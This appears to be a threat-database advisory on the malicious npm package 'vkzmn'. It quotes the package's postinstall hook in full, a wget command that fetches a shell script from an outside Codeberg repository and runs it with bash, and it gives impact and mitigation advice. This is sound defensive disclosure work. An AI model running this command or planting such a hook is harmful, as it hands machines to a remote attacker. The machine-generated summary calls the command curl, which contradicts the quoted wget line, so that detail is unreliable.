Malicious code in vkzmn (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (dc2e10775ac70e6f3b083ac0a76374e09e11cac7b06068a4bd3b6114f796a0df) package.json declares a postinstall lifecycle hook that runs `wget https://codeberg.org/atilalogical/worm_teste/raw/branch/main/down_procwork.sh -O d.sh; bash d.sh`, downloading a shell script from a mutable branch of an unrelated personal Codeberg repository named `worm_teste` and executing it via bash on the installer's machine at `npm install` time. The fetched script is unpinned (mutable `main` branch), unverified (no hash/signature check), and from a destination that bears no relationship to any declared package purpose — the source repository name itself indicates worm/propagation testing. Whatever bytes the repository owner serves at fetch time execute with the privileges of the user running `npm install`. The package additionally declares a self-referential dependency (`vkzmn: ^1.0.4`), consistent with propagation scaffolding rather than a legitimate library. ## Source: ghsa-malware (a41dc023cd84c69935ac2c642d6cb9c187fb6bce9c18d226d785fba49e80e50a) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
AI Analysis
Technical Summary
The 'vkzmn' npm package declares a postinstall lifecycle hook that runs a curl command to download a shell script from a mutable branch on an unrelated third-party Codeberg repository and executes it immediately. The fetch is unpinned and unverified, allowing the remote operator to execute arbitrary code on any system installing the package. The package's metadata is empty and suspicious, indicating it is a malicious dropper rather than a legitimate library. This results in full compromise of the affected system.
Potential Impact
Systems that install the 'vkzmn' package are fully compromised, granting the attacker arbitrary code execution capabilities. All secrets and keys stored on the compromised system should be considered exposed and must be rotated from a separate, secure environment. Removing the package alone may not remove all malicious components or backdoors introduced by the attacker.
Mitigation Recommendations
No official patch or fix is available for this malicious package. The recommended mitigation is to immediately remove the 'vkzmn' package from all affected systems. Rotate all secrets and keys that were stored or accessible on compromised machines from a secure environment. Due to the nature of the compromise, consider rebuilding or thoroughly auditing affected systems to ensure no persistent malicious code remains.
Malicious code in vkzmn (npm)
Description
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (dc2e10775ac70e6f3b083ac0a76374e09e11cac7b06068a4bd3b6114f796a0df) package.json declares a postinstall lifecycle hook that runs `wget https://codeberg.org/atilalogical/worm_teste/raw/branch/main/down_procwork.sh -O d.sh; bash d.sh`, downloading a shell script from a mutable branch of an unrelated personal Codeberg repository named `worm_teste` and executing it via bash on the installer's machine at `npm install` time. The fetched script is unpinned (mutable `main` branch), unverified (no hash/signature check), and from a destination that bears no relationship to any declared package purpose — the source repository name itself indicates worm/propagation testing. Whatever bytes the repository owner serves at fetch time execute with the privileges of the user running `npm install`. The package additionally declares a self-referential dependency (`vkzmn: ^1.0.4`), consistent with propagation scaffolding rather than a legitimate library. ## Source: ghsa-malware (a41dc023cd84c69935ac2c642d6cb9c187fb6bce9c18d226d785fba49e80e50a) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Affected software
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AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The 'vkzmn' npm package declares a postinstall lifecycle hook that runs a curl command to download a shell script from a mutable branch on an unrelated third-party Codeberg repository and executes it immediately. The fetch is unpinned and unverified, allowing the remote operator to execute arbitrary code on any system installing the package. The package's metadata is empty and suspicious, indicating it is a malicious dropper rather than a legitimate library. This results in full compromise of the affected system.
Potential Impact
Systems that install the 'vkzmn' package are fully compromised, granting the attacker arbitrary code execution capabilities. All secrets and keys stored on the compromised system should be considered exposed and must be rotated from a separate, secure environment. Removing the package alone may not remove all malicious components or backdoors introduced by the attacker.
Mitigation Recommendations
No official patch or fix is available for this malicious package. The recommended mitigation is to immediately remove the 'vkzmn' package from all affected systems. Rotate all secrets and keys that were stored or accessible on compromised machines from a secure environment. Due to the nature of the compromise, consider rebuilding or thoroughly auditing affected systems to ensure no persistent malicious code remains.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- MAL-2026-6594
- Osv Schema Version
- 1.7.4
- Aliases
- ["GHSA-96mc-pfwc-4h47"]
- Ecosystems
- ["npm"]
- Database Specific Severity
- null
- Cvss Version
- null
Threat ID: 6a42ed5f27e9c7971993793a
Added to database: 06/29/2026, 22:10:39 UTC
Last enriched: 07/09/2026, 10:47:28 UTC
Last updated: 07/26/2026, 14:20:13 UTC
Views: 28
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